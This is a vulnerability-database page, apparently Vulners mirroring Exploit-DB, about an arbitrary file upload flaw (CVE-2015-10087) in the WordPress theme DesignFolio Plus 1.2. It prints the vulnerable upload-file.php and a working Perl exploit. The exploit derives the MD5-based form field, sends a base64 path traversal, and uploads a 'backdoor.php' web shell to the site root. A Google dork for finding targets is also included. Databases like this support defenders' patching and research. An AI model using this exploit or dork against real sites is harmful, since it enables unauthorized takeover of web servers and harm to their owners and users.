Lucene search
+L

WordPress Theme DesignFolio Plus 1.2 - Arbitrary File Upload

🗓️ 04 Mar 2015 00:00:00Reported by CrashBandicotType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 44 Views

WordPress Theme DesignFolio Plus 1.2 Arbitrary File Upload Vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2015-10087
7 Mar 202318:19
–circl
cnnvd
CNNVD
UpThemes Theme DesignFolio Plus code issues and vulnerabilities
7 Mar 202300:00
–cnnvd
cve
CVE
CVE-2015-10087
7 Mar 202314:28
–cve
cvelist
Cvelist
CVE-2015-10087 UpThemes Theme DesignFolio Plus unrestricted upload
7 Mar 202314:28
–cvelist
euvd
EUVD
EUVD-2015-1097
7 Oct 202500:30
–euvd
mend
Mend
CVE-2015-10087
7 Mar 202314:28
–mend
nvd
NVD
CVE-2015-10087
7 Mar 202315:15
–nvd
prion
Prion
Out-of-bounds
7 Mar 202315:15
–prion
ptsecurity
Positive Technologies
PT-2023-10266 · Upthemes · Designfolio Plus
7 Mar 202300:00
–ptsecurity
rapid7
Rapid7 Vulnerability Database (full)
CVE-2015-10087: Unrestricted Upload of File with Dangerous Type
7 Mar 202300:00
–rapid7
Rows per page
#########################################################
# Exploit Title: Wordpress Theme DesignFolio+ Arbitrary File Upload Vulnerability
# Google dork: inurl:wp-content/themes/DesignFolio-Plus
# Author: CrashBandicot
# Date: 04.03.2015
# Vendor HomePage: https://github.com/UpThemes/DesignFolio-Plus
# Software Link: https://github.com/UpThemes/DesignFolio-Plus/archive/master.zip
# tested on : MsWin32
#########################################################

Vulnerable File : upload-file.php
<?php
//Upload Security
$upload_security = md5($_SERVER['SERVER_ADDR']);
$uploaddir = base64_decode( $_REQUEST['upload_path'] ) . "/";
if( $_FILES[$upload_security] ):
        $file = $_FILES[$upload_security];
        $file = $uploaddir . strtolower(str_replace('__', '_', str_replace('#', '_', str_replace(' ', '_', basename($file['name'])))));

                if (move_uploaded_file( $_FILES[$upload_security]['tmp_name'], $file)):
                        if(chmod($file,0777)):
                            echo "success";
                        else:
                                echo "error".$_FILES[$upload_security]['tmp_name'];
                        endif;
                else:
                    echo "error".$_FILES[$upload_security]['tmp_name'];
                endif;
endif;
?>

Exploit

#!/usr/bin/perl

use Digest::MD5 qw(md5 md5_hex);
use MIME::Base64;
use IO::Socket;
use LWP::UserAgent;

    system(($^O eq 'MSWin32') ? 'cls' : 'clear');
        print "\n\t     ! *** #  ^_^ # *** !\n\t      :p\n\n";

$use = "\n\t  [!] ./$0 127.0.0.1 backdoor.php";

($target ,$file) = @ARGV;

die "$use" unless $ARGV[0] && $ARGV[1];

if($target =~ /http:\/\/(.*)\//){ $target = $1; }
elsif($target =~ /http:\/\/(.*)/){ $target = $1; }
elsif($target =~ /https:\/\/(.*)\//){ $target = $1; }
elsif($target =~ /https:\/\/(.*)/){ $target = $1; }

my $addr = inet_ntoa((gethostbyname($target))[4]);
my $digest = md5_hex($addr);
my $dir = encode_base64('../../../../');

my $ua = LWP::UserAgent->new( agent => q{Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36},);
$pst = $ua->post("http://".$target."/wp-content/themes/designfolio-plus/admin/upload-file.php", Content_Type => 'form-data', Content => [ $digest => [$file] , upload_path => $dir ]);
if($pst->is_success) { print "[+] Backdoor Uploaded !"; } else { print "\n [-] Bad Response Header :/ FAIL"; }

__END__


# File path: http://target/shell.php

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 3.16.3 - 8.8
CVSS 36.3
CVSS 26.5
EPSS0.05238
44